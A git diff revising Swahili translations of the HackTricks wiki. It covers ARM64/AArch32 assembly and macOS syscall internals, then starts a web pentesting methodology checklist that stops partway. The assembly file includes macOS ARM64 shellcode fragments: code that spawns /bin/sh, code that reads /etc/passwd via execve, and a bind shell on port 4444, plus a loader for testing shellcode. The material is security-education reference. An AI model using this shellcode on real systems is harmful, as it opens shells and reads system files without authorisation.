1 - `cinc Xd, Xn, cond` -> Ikiwa kweli, Xd = Xn + 1, ikiwa si kweli, Xd = Xn @@ -208,50 +211,50 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc - `cneg Xd, Xn, cond` -> Ikiwa kweli, Xd = - Xn, ikiwa si kweli, Xd = Xn - `cset Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = 1, ikiwa si kweli, Xd = 0 - `csetm Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = \, ikiwa si kweli, Xd = 0 -- **`adrp`**: Hesabu **anwani ya ukurasa ya alama** na uhifadhi katika register. -- Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa ya `symbol` na kuihifadhi katika `x0`. -- **`ldrsw`**: **Pakia** thamani ya saini **ya 32-bit** kutoka kumbukumbu na **ongeza saini hadi 64** bits. -- Mfano: `ldrsw x0, [x1]` — Hii inapakua thamani ya saini ya 32-bit kutoka eneo la kumbukumbu lililoonyeshwa na `x1`, inaongeza saini hadi 64 bits, na kuihifadhi katika `x0`. -- **`stur`**: **Hifadhi thamani ya register kwenye eneo la kumbukumbu**, kwa kutumia offset kutoka register nyingine. -- Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` kwenye anwani ya kumbukumbu ambayo ni bytes 4 zaidi kuliko anwani iliyopo katika `x1`. -- **`svc`** : Fanya **wito wa mfumo**. Inasimama kwa "Wito wa Msimamizi". Wakati processor inatekeleza amri hii, inabadilisha kutoka hali ya mtumiaji hadi hali ya kernel na kuruka kwenye eneo maalum la kumbukumbu ambapo **kanuni ya kushughulikia wito wa mfumo wa kernel** inapatikana. +- **`adrp`**: Hesabu anwani ya ukurasa ya alama na kuihifadhi katika rejista. +- Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa wa `symbol` na kuihifadhi katika `x0`. +- **`ldrsw`**: **Pakia** thamani ya musema wa **32-bit** kutoka kumbukumbu na **upanua kwa saini hadi 64** bits. +- Mfano: `ldrsw x0, [x1]` — Hii inapakia thamani ya musema ya 32-bit kutoka eneo la kumbukumbu linaloashiriwa na `x1`, inapanua kwa saini hadi 64 bits, na kuihifadhi katika `x0`. +- **`stur`**: **Hifadhi thamani ya rejista kwa eneo la kumbukumbu**, ukitumia offset kutoka rejista nyingine. +- Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani ya `x0` katika anwani ya kumbukumbu ambayo ni byte 4 mbele ya anwani iliyopo sasa katika `x1`. +- **`svc`** : Fanya **system call**. Inasimama kwa "Supervisor Call". Wakati processor inatekeleza amri hii, inabadilisha kutoka user mode hadi kernel mode na kuruka hadi eneo maalum la kumbukumbu ambapo msimbo wa kernel wa kushughulikia system call uko. - Mfano: ```armasm -mov x8, 93 ; Pakia nambari ya wito wa mfumo kwa kutoka (93) ndani ya register x8. -mov x0, 0 ; Pakia msimamo wa kutoka (0) ndani ya register x0. -svc 0 ; Fanya wito wa mfumo. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **Prologue ya Kazi** +### **Function Prologue** -1. **Hifadhi register ya kiungo na pointer ya frame kwenye stack**: +1. **Hifadhi link register na frame pointer kwenye stack**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Weka kiashiria kipya cha fremu**: `mov x29, sp` (weka kiashiria kipya cha fremu kwa kazi ya sasa) -3. **Panga nafasi kwenye stack kwa ajili ya mabadiliko ya ndani** (ikiwa inahitajika): `sub sp, sp, ` (ambapo `` ni idadi ya bytes zinazohitajika) +2. **Sanidi kiashiria kipya cha fremu**: `mov x29, sp` (huweka kiashiria kipya cha fremu kwa kazi ya sasa) +3. **Tenga nafasi kwenye stack kwa vigezo vya ndani** (ikiwa inahitajika): `sub sp, sp, ` (ambapo `` ni idadi ya bytes zinazohitajika) -### **Epilogue ya Kazi** +### **Hitimisho la Kazi** -1. **Futa mabadiliko ya ndani (ikiwa yoyote yalikuwa yamepangwa)**: `add sp, sp, ` -2. **Rejesha kiashiria cha kiungo na kiashiria cha fremu**: +1. **Rejesha nafasi ya vigezo vya ndani (ikiwa zilikuwa zimepangwa)**: `add sp, sp, ` +2. **Rejesha rejista ya link na kiashiria cha fremu**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (inarudisha udhibiti kwa mwito kwa kutumia anwani katika register ya kiungo) +3. **Rudisha**: `ret` (inarudisha udhibiti kwa caller kwa kutumia anwani katika link register) -## AARCH32 Hali ya Utendaji +## AARCH32 Execution State -Armv8-A inasaidia utendaji wa programu za bit 32. **AArch32** inaweza kukimbia katika moja ya **seti mbili za maagizo**: **`A32`** na **`T32`** na inaweza kubadilisha kati yao kupitia **`interworking`**.\ -**Programu za 64-bit** zenye mamlaka zinaweza kupanga **utendaji wa programu za 32-bit** kwa kutekeleza uhamisho wa kiwango cha kipekee kwa 32-bit yenye mamlaka ya chini.\ -Kumbuka kwamba mpito kutoka 64-bit hadi 32-bit unafanyika kwa kupunguza kiwango cha kipekee (kwa mfano, programu ya 64-bit katika EL1 ikichochea programu katika EL0). Hii inafanywa kwa kuweka **bit 4 ya** **`SPSR_ELx`** register maalum **kuwa 1** wakati mchakato wa `AArch32` uko tayari kutekelezwa na sehemu nyingine ya `SPSR_ELx` inahifadhi **CPSR** za programu za **`AArch32`**. Kisha, mchakato wenye mamlaka unaita maagizo ya **`ERET`** ili processor ipitie **`AArch32`** ikingia katika A32 au T32 kulingana na CPSR**.** +Armv8-A inaunga mkono utekelezaji wa programu za 32-bit. **AArch32** inaweza kuendesha katika mojawapo ya **seti mbili za maagizo**: **`A32`** na **`T32`** na inaweza kubadilisha kati yao kupitia **`interworking`**.\ +**Privileged** 64-bit programs can schedule the **execution of 32-bit** programs by executing a exception level transfer to the lower privileged 32-bit.\ +Kumbuka kuwa mabadiliko kutoka 64-bit hadi 32-bit hufanyika kwa exception level ya chini (kwa mfano programu ya 64-bit katika EL1 ikichochea programu katika EL0). Hii hufanywa kwa kuweka **bit 4 of** **`SPSR_ELx`** register maalum **kwa 1** wakati thread ya mchakato wa `AArch32` iko tayari kutekelezwa na sehemu nyingine ya `SPSR_ELx` inahifadhi CPSR ya programu za **`AArch32`**. Kisha, mchakato mwenye ruhusa anaita instruction ya **`ERET`** ili processor ibadilike kuwa **`AArch32`** ikingia katika A32 au T32 kulingana na CPSR**.** -**`interworking`** inafanyika kwa kutumia bit J na T za CPSR. `J=0` na `T=0` inamaanisha **`A32`** na `J=0` na `T=1` inamaanisha **T32**. Hii kimsingi inamaanisha kuweka **bit ya chini kabisa kuwa 1** kuashiria kwamba seti ya maagizo ni T32.\ -Hii imewekwa wakati wa **maagizo ya tawi la interworking,** lakini inaweza pia kuwekwa moja kwa moja na maagizo mengine wakati PC imewekwa kama register ya marudio. Mfano: +The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. Hii kwa kawaida inamaanisha kuweka bit ya chini kuwa 1 kuashiria kuwa seti ya maagizo ni T32.\ +Hii imewekwa wakati wa **interworking branch instructions,** lakini pia inaweza kuwekwa moja kwa moja kwa maagizo mengine wakati PC imewekwa kama rejista ya destination. Mfano: -Mfano mwingine: +Another example: ```armasm _start: .code 32 ; Begin using A32 @@ -262,62 +265,62 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32) mov r0, #0 mov r0, #8 ``` -### Registers +### Rejista -Kuna register 16 za 32-bit (r0-r15). **Kuanzia r0 hadi r14** zinaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao mara nyingi huhifadhiwa: +Kuna rejista 16 za 32-bit (r0-r15). **Kutoka r0 hadi r14** zinaweza kutumika kwa **operesheni yoyote**, ingawa baadhi yao kawaida huhifadhiwa: -- **`r15`**: Program counter (daima). Inashikilia anwani ya amri inayofuata. Katika A32 sasa + 8, katika T32, sasa + 4. +- **`r15`**: Program counter (daima). Inashikilia anuani ya maelekezo yanayofuata. In A32 current + 8, in T32, current + 4. - **`r11`**: Frame Pointer - **`r12`**: Intra-procedural call register -- **`r13`**: Stack Pointer +- **`r13`**: Stack Pointer (Kumbuka stack daima imepangiliwa kwa 16-byte) - **`r14`**: Link Register -Zaidi ya hayo, register zinaungwa mkono katika **`banked registries`**. Ambazo ni maeneo yanayohifadhi thamani za register kuruhusu kufanya **fast context switching** katika usimamizi wa makosa na operesheni za kibali ili kuepuka hitaji la kuhifadhi na kurejesha register kwa mikono kila wakati.\ -Hii inafanywa kwa **kuhifadhi hali ya processor kutoka `CPSR` hadi `SPSR`** ya hali ya processor ambayo makosa yanachukuliwa. Wakati makosa yanarejea, **`CPSR`** inarejeshwa kutoka **`SPSR`**. +Zaidi ya hayo, rejista zinaungwa mkono katika **`banked registries`**. Hizo ni sehemu zinazohifadhi thamani za rejista kuruhusu **fast context switching** katika kushughulikia exceptions na operesheni zilizo na ruhusa za juu ili kuepuka haja ya kuhifadhi na kurejesha rejista kila wakati kwa mkono.\ +Hii hufanyika kwa **kuhifadhi hali ya processor kutoka `CPSR` hadi `SPSR`** ya mode ya processor ambapo exception inachukuliwa. Ukitokeza exception, **`CPSR`** inarejeshwa kutoka **`SPSR`**. ### CPSR - Current Program Status Register -Katika AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahifadhiwa katika **`SPSR_ELx`** wakati makosa yanachukuliwa ili kurejesha utekelezaji baadaye: +In AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahifadhiwa katika **`SPSR_ELx`** wakati exception inachukuliwa ili kurejeshwa baadaye ya utekelezaji:
Sehemu zimegawanywa katika makundi kadhaa: -- Application Program Status Register (APSR): Bendera za hesabu na zinazoweza kufikiwa kutoka EL0 +- Application Program Status Register (APSR): vifungo vya kihesabu na vinavyopatikana kutoka EL0 - Execution State Registers: Tabia ya mchakato (inasimamiwa na OS). #### Application Program Status Register (APSR) -- Bendera **`N`**, **`Z`**, **`C`**, **`V`** (kama ilivyo katika AArch64) -- Bendera **`Q`**: Inapangwa kuwa 1 kila wakati **saturation ya integer inapotokea** wakati wa utekelezaji wa amri maalum ya hesabu ya saturation. Mara inapowekwa kuwa **`1`**, itahifadhi thamani hiyo hadi iwekwe kwa mikono kuwa 0. Zaidi ya hayo, hakuna amri inayokagua thamani yake kwa njia isiyo ya moja kwa moja, inapaswa kufanywa kwa kusoma kwa mikono. -- Bendera **`GE`** (Kubwa kuliko au sawa): Inatumika katika operesheni za SIMD (Single Instruction, Multiple Data), kama vile "kuongeza kwa pamoja" na "kupunguza kwa pamoja". Operesheni hizi zinaruhusu kusindika vidokezo vingi vya data katika amri moja. +- Vifungo vya **`N`**, **`Z`**, **`C`**, **`V`** (kama ilivyo katika AArch64) +- Kifungo cha **`Q`**: Kinawekwa kuwa 1 kila wakati **saturation ya integer** inapotokea wakati wa kutekeleza maelekezo maalumu ya arithmetic inayosaturate. Mara kinawekwa kuwa **`1`**, kitaendelea kuwa na thamani hiyo hadi kiwe kimewekwa kwa 0 kwa mkono. Zaidi ya hayo, hakuna maelekezo yanayochunguza thamani yake kwa njia isiyo ya moja kwa moja; lazima isomwe kwa mkono. +- Vifungo vya **`GE`** (Greater than or equal): Vinatumika katika operesheni za SIMD (Single Instruction, Multiple Data), kama "parallel add" na "parallel subtract". Operesheni hizi zinaruhusu kusindika pointi nyingi za data kwa maelekezo moja. -Kwa mfano, amri **`UADD8`** **inaongeza jozi nne za bytes** (kutoka kwa operandi mbili za 32-bit) kwa pamoja na kuhifadhi matokeo katika register ya 32-bit. Kisha **inaweka bendera za `GE` katika `APSR`** kulingana na matokeo haya. Kila bendera ya GE inahusiana na moja ya nyongeza za byte, ikionyesha ikiwa nyongeza ya jozi hiyo ya byte **ilivuka**. +Kwa mfano, maelekezo **`UADD8`** **huongeza jozi nne za bytes** (kutoka kwa operands mbili za 32-bit) kwa mpangilio na kuhifadhi matokeo katika rejista ya 32-bit. Kisha **huweka vifungo vya `GE` katika `APSR`** kulingana na matokeo haya. Kila kifungo cha GE kinahusiana na moja ya ziada za byte, kikionyesha kama kuongeza kwa jozi hiyo ya byte **iliuza**. -Amri **`SEL`** inatumia bendera hizi za GE kufanya vitendo vya masharti. +Maelekezo ya **`SEL`** hutumia vifungo hivyo vya GE kufanya vitendo kwa masharti. #### Execution State Registers -- Bits **`J`** na **`T`**: **`J`** inapaswa kuwa 0 na ikiwa **`T`** ni 0 seti ya amri A32 inatumika, na ikiwa ni 1, T32 inatumika. -- **IT Block State Register** (`ITSTATE`): Hizi ni bits kutoka 10-15 na 25-26. Zinahifadhi hali za masharti kwa amri ndani ya kundi lililo na prefiksi **`IT`**. -- Bit **`E`**: Inaonyesha **endianness**. -- **Mode and Exception Mask Bits** (0-4): Zinabainisha hali ya sasa ya utekelezaji. **Ya 5** inaonyesha ikiwa programu inafanya kazi kama 32bit (1) au 64bit (0). Nyingine 4 zinaonyesha **hali ya makosa inayotumika sasa** (wakati makosa yanatokea na yanashughulikiwa). Nambari iliyowekwa **inaonyesha kipaumbele cha sasa** ikiwa makosa mengine yanachochewa wakati huu unashughulikiwa. +- Bit za **`J`** na **`T`**: **`J`** inapaswa kuwa 0 na ikiwa **`T`** ni 0 seti ya maelekezo A32 inatumiwa, na ikiwa ni 1, T32 inatumiwa. +- IT Block State Register (`ITSTATE`): Hizi ni bits kutoka 10-15 na 25-26. Zinahifadhi masharti kwa maelekezo ndani ya kundi lililo na nyongeza ya **`IT`**. +- Bit ya **`E`**: Inaonyesha **endianness**. +- Mode na Exception Mask Bits (0-4): Zinaamua hali ya sasa ya utekelezaji. Bit ya **5** inaonyesha ikiwa programu inaendesha kama 32bit (1) au 64bit (0). Nyingine 4 zinaonyesha **mode ya exception inayotumika sasa** (wakati exception inatokea na inashughulikiwa). Nambari iliyowekwa **inaonyesha kipaumbele cha sasa** au ikiwa exception nyingine itachochewa wakati hii inaendelea kushughulikiwa.
-- **`AIF`**: Makosa fulani yanaweza kuzuiliwa kwa kutumia bits **`A`**, `I`, `F`. Ikiwa **`A`** ni 1 inamaanisha **kuondolewa kwa asynchronous** kutachochewa. **`I`** inasanidiwa kujibu **Interrupts Requests** (IRQs) za vifaa vya nje. na F inahusiana na **Fast Interrupt Requests** (FIRs). +- **`AIF`**: Exceptions fulani zinaweza kuzimwa kwa kutumia bits **`A`**, `I`, `F`. Ikiwa **`A`** ni 1 inamaanisha **asynchronous aborts** zitatolewa. **`I`** inasanidi kujibu Requests za Interrupt za vifaa vya nje (IRQs). na `F` inahusiana na Fast Interrupt Requests (FIRs). ## macOS ### BSD syscalls -Angalia [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls zitakuwa na **x16 > 0**. +Angalia [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) au endesha `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls zitakuwa na **x16 > 0**. ### Mach Traps -Angalia katika [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) `mach_trap_table` na katika [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototypes. Nambari ya mex ya Mach traps ni `MACH_TRAP_TABLE_COUNT` = 128. Mach traps zitakuwa na **x16 < 0**, hivyo unahitaji kuita nambari kutoka orodha ya awali kwa **minus**: **`_kernelrpc_mach_vm_allocate_trap`** ni **`-10`**. +Angalia katika [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) `mach_trap_table` na katika [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototypes. mex number ya Mach traps ni `MACH_TRAP_TABLE_COUNT` = 128. Mach traps zitakuwa na **x16 < 0**, hivyo unahitaji kuita nambari kutoka kwenye orodha ya awali ukiweka **minus**: **`_kernelrpc_mach_vm_allocate_trap`** ni **`-10`**. -Unaweza pia kuangalia **`libsystem_kernel.dylib`** katika disassembler ili kupata jinsi ya kuita hizi (na BSD) syscalls: +Unaweza pia kuangalia **`libsystem_kernel.dylib`** katika disassembler ili kupata jinsi ya kuita syscalls hizi (na BSD): ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Kumbuka kwamba **Ida** na **Ghidra** zinaweza pia ku-decompile **dylibs maalum** kutoka kwenye cache kwa kupitisha tu cache hiyo. +Kumbuka kwamba **Ida** na **Ghidra** pia zinaweza ku-decompile **specific dylibs** kutoka cache kwa kupitisha cache. > [!TIP] -> Wakati mwingine ni rahisi kuangalia **code iliyodecompiled** kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **source code** kwa sababu code ya syscalls kadhaa (BSD na Mach) inazalishwa kupitia scripts (angalia maoni katika source code) wakati katika dylib unaweza kupata kile kinachoitwa. +> Wakati mwingine ni rahisi kukagua msimbo wa **decompiled** kutoka **`libsystem_kernel.dylib`** **than** kukagua **source code** kwa sababu msimbo wa syscalls kadhaa (BSD na Mach) unazalishwa kupitia scripts (check comments in the **source code**) wakati katika dylib unaweza kupata kinachoitwa. ### machdep calls -XNU inasaidia aina nyingine ya calls inayoitwa machine dependent. Nambari za calls hizi zinategemea usanifu na wala calls au nambari hazihakikishiwi kubaki kuwa thabiti. +XNU inasaidia aina nyingine ya miito inayoitwa machine dependent. Idadi ya miito hii inategemea architecture na wala miito wala nambari hazihakikishiwi kubaki thabiti. ### comm page -Hii ni ukurasa wa kumbukumbu ya mmiliki wa kernel ambao umewekwa kwenye anwani ya kila mchakato wa mtumiaji. Imepangwa kufanya mpito kutoka kwa hali ya mtumiaji hadi nafasi ya kernel kuwa haraka kuliko kutumia syscalls kwa huduma za kernel ambazo zinatumika sana kiasi kwamba mpito huu ungekuwa usio na ufanisi. +Hii ni kernel owner memory page ambayo ime-mapped kwenye address scape ya kila process ya mtumiaji. Inalenga kufanya mabadiliko kutoka user mode kwenda kernel space yawe haraka kuliko kutumia syscalls kwa huduma za kernel zinazotumika mara nyingi kiasi kwamba mabadiliko hayo yangekuwa yasiyefaa sana. -Kwa mfano, wito wa `gettimeofdate` unasoma thamani ya `timeval` moja kwa moja kutoka kwenye comm page. +Kwa mfano call `gettimeofdate` husoma thamani ya `timeval` moja kwa moja kutoka comm page. ### objc_msgSend -Ni kawaida sana kupata kazi hii ikitumika katika programu za Objective-C au Swift. Kazi hii inaruhusu kuita njia ya kitu cha objective-C. +Ni kawaida sana kupata function hii ikitumika katika programu za Objective-C au Swift. Function hii inaruhusu kuitisha method ya objective-C object. -Parameta ([maelezo zaidi katika docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): -- x0: self -> Pointer kwa mfano -- x1: op -> Mchoro wa njia -- x2... -> Mabaki ya hoja za njia iliyoitwa +- x0: self -> Pointer to the instance +- x1: op -> Selector of the method +- x2... -> Rest of the arguments of the invoked method -Hivyo, ikiwa utaweka breakpoint kabla ya tawi la kazi hii, unaweza kwa urahisi kupata kile kinachoitwa katika lldb (katika mfano huu, kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitakimbiza amri): +Basi, ikiwa utaweka breakpoint kabla ya branch kuelekea function hii, unaweza kwa urahisi kuona ni nini kinachoitwa kwenye lldb kwa (katika mfano huu object inaita object kutoka `NSConcreteTask` ambayo ita-run command): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,31 +372,31 @@ whoami ) ``` > [!TIP] -> Kuweka variable ya env **`NSObjCMessageLoggingEnabled=1`** inawezekana kuandika wakati kazi hii inaitwa katika faili kama `/tmp/msgSends-pid`. +> Kwa kuweka env variable **`NSObjCMessageLoggingEnabled=1`**, inawezekana kufanya **log** wakati function hii inaitwa katika faili kama `/tmp/msgSends-pid`. > -> Zaidi ya hayo, kuweka **`OBJC_HELP=1`** na kuita binary yoyote unaweza kuona variable nyingine za mazingira ambazo unaweza kutumia ku **log** wakati vitendo fulani vya Objc-C vinatokea. +> Zaidi ya hayo, kwa kuweka **`OBJC_HELP=1`** na kuendesha binary yoyote utaona environment variables nyingine ambazo unaweza kutumia ku-**log** wakati vitendo fulani vya Objc-C vinapotokea. -Wakati kazi hii inaitwa, inahitajika kupata njia iliyoitwa ya mfano ulioonyeshwa, kwa hili utafutaji tofauti hufanywa: +Wakati function hii inaitwa, inahitajika kupata method iliyoitwa ya instance iliyobainishwa; kwa ajili yake hufanywa tafutizi mbalimbali: -- Fanya utafutaji wa cache wa matumaini: -- Ikiwa ni mafanikio, imekamilika -- Pata runtimeLock (kusoma) +- Fanya uchunguzi wa optimistic cache lookup: +- Ikifanikiwa, imemalizika +- Chukua runtimeLock (read) - Ikiwa (realize && !cls->realized) realize class - Ikiwa (initialize && !cls->initialized) initialize class -- Jaribu cache ya darasa lenyewe: -- Ikiwa ni mafanikio, imekamilika -- Jaribu orodha ya mbinu za darasa: -- Ikiwa imepatikana, jaza cache na umalize -- Jaribu cache ya darasa la mzazi: -- Ikiwa ni mafanikio, imekamilika -- Jaribu orodha ya mbinu za darasa la mzazi: -- Ikiwa imepatikana, jaza cache na umalize -- Ikiwa (resolver) jaribu mtafutaji wa mbinu, na rudia kutoka utafutaji wa darasa -- Ikiwa bado hapa (= kila kitu kingine kimefeli) jaribu forwarder +- Jaribu cache ya class yenyewe: +- Ikifanikiwa, imemalizika +- Jaribu orodha ya method za class: +- Iwapo imepatikana, jaza cache na imemalizika +- Jaribu cache ya superclass: +- Ikifanikiwa, imemalizika +- Jaribu orodha ya method za superclass: +- Iwapo imepatikana, jaza cache na imemalizika +- Ikiwa (resolver) jaribu method resolver, na rudia kutoka class lookup +- Ikiwa bado uko hapa (= all else has failed) jaribu forwarder ### Shellcodes -Ili kukusanya: +Ili ku-compile: ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib @@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; echo -n '\\x'$c done ``` -Kwa macOS mpya: +Kwa macOS mpya zaidi: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -417,7 +420,7 @@ done ```
-Code ya C ya kujaribu shellcode +C code ili kujaribu shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader @@ -467,7 +470,7 @@ return 0; #### Shell -Imechukuliwa kutoka [**hapa**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) na kufafanuliwa. +Imechukuliwa kutoka [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) na imeelezewa. {{#tabs}} {{#tab name="with adr"}} @@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh" #### Soma na cat -Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni array ya param (ambayo katika kumbukumbu inamaanisha stack ya anwani). +Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni an array ya params (ambayo katika memory inamaanisha stack ya addresses). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Wito amri na sh kutoka kwa fork ili mchakato mkuu usiuwe. +#### Endesha amri kwa sh kupitia fork ili mchakato mkuu usifariki ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -Bind shell kutoka [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) katika **port 4444** +Bind shell kutoka [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) kwenye **port 4444** ```armasm .section __TEXT,__text .global _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 60afaab7b..e1e933ef8 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Habari za Msingi +## Taarifa Msingi -Huduma ya wavuti ni huduma ya **kawaida zaidi na yenye wigo mpana**, na kuna **aina nyingi tofauti za udhaifu**. +Huduma ya web ni huduma ya **kawaida zaidi na yenye upana mkubwa**, na kuna aina nyingi tofauti za **vulnerabilities**. -**Bandari ya chaguo-msingi:** 80 (HTTP), 443(HTTPS) +**Port ya chaguo-msingi:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -24,38 +24,38 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 web-api-pentesting.md {{#endref}} -## Muhtasari wa Mbinu +## Muhtasari wa Methodolojia -> Katika mbinu hii tutadhania kuwa unamshambulia domain (au subdomain) moja tu. Kwa hivyo, unapaswa kutumia mbinu hii kwa kila domain, subdomain au IP iliyogunduliwa ambayo ina web server isiyothibitishwa ndani ya upeo. +> Katika methodolojia hii tutadhani kuwa utashambulia domain (au subdomain) na hiyo pekee. Kwa hivyo, unapaswa kutumia methodolojia hii kwa kila domain, subdomain au IP iliyogunduliwa ambayo ina web server isiyotambuliwa ndani ya wigo. -- [ ] Anza kwa **kutambua** **teknolojia** zinazotumiwa na web server. Tafuta **mbinu** za kuzingatia wakati wa mtihani wa baadaye ikiwa utaweza kutambua tech kwa ufanisi. -- [ ] Kuna **known vulnerability** yoyote ya toleo la teknolojia? -- [ ] Unatumia **well known tech** yoyote? Kuna **useful trick** yoyote ya kupata taarifa zaidi? -- [ ] Kuna **specialised scanner** ya kuendesha (kama wpscan)? -- [ ] Anzisha **general purposes scanners**. Hujui kama zitatokea kitu au kama zitatoka taarifa za kuvutia. -- [ ] Anza na **initial checks**: **robots**, **sitemap**, **404** error na **SSL/TLS scan** (ikiwa HTTPS). -- [ ] Anza **spidering** ukurasa wa wavuti: Ni wakati wa **kutafuta** faili zote zinazowezekana, **folders** na **parameters being used.** Pia, angalia kwa **special findings**. -- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ -- [ ] **Directory Brute-Forcing**: Jaribu ku-brute force folda zote zilizogunduliwa ukitafuta faili mpya na directory mpya. -- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ -- [ ] **Backups checking**: Jaribu kuona kama unaweza kupata **backups** za **discovered files** ukiongeza extensions za kawaida za backup. -- [ ] **Brute-Force parameters**: Jaribu **kutafuta hidden parameters**. -- [ ] Mara utakapokuwa ume**identified** endpoints zote zinazowezekana zinazokubali **user input**, angalia aina zote za **vulnerabilities** zinazohusiana nazo. -- [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Anza kwa **kutambua** **teknolojia** zinazotumika na web server. Tafuta **mbinu** za kuzingatia wakati wa mtihani mzima ikiwa unaweza kutambua teknolojia hiyo. +- [ ] Je, kuna **udhaifu unaojulikana** katika toleo la teknolojia? +- [ ] Unatumia **well known tech**? Kuna **mbinu muhimu** za kupata taarifa zaidi? +- [ ] Je, kuna **specialised scanner** ya kuendesha (kama wpscan)? +- [ ] Anzisha **general purposes scanners**. Haujui kama zitatoka na kitu au kupata taarifa ya kuvutia. +- [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404 error** na **SSL/TLS scan** (ikiwa HTTPS). +- [ ] Anza **spidering** ukurasa wa wavuti: Ni wakati wa **kutafuta** faili zote, folda na **parameta zinazotumika.** Pia, angalia **uvumbuzi maalum**. +- [ ] _Kumbuka kwamba kila wakati saraka mpya inapotambulika wakati wa brute-forcing au spidering, inapaswa kuspider._ +- [ ] **Directory Brute-Forcing**: Jaribu brute force saraka zote zilizogunduliwa ukitafuta **faili** na **saraka** mpya. +- [ ] _Kumbuka kwamba kila wakati saraka mpya inapotambuliwa wakati wa brute-forcing au spidering, inapaswa kufanywa Brute-Forced._ +- [ ] **Backups checking**: Jaribu kuona ikiwa unaweza kupata **backups** za **faili zilizogunduliwa** kwa kuongeza viambatisho vya backup vinavyojulikana. +- [ ] **Brute-Force parameters**: Jaribu **kutafuta parameta zilizofichwa**. +- [ ] Mara unapokuwa umewataja yote **endpoints** zinazokubali **user input**, angalia aina zote za **vulnerabilities** zinazohusiana nazo. +- [ ] [Follow this 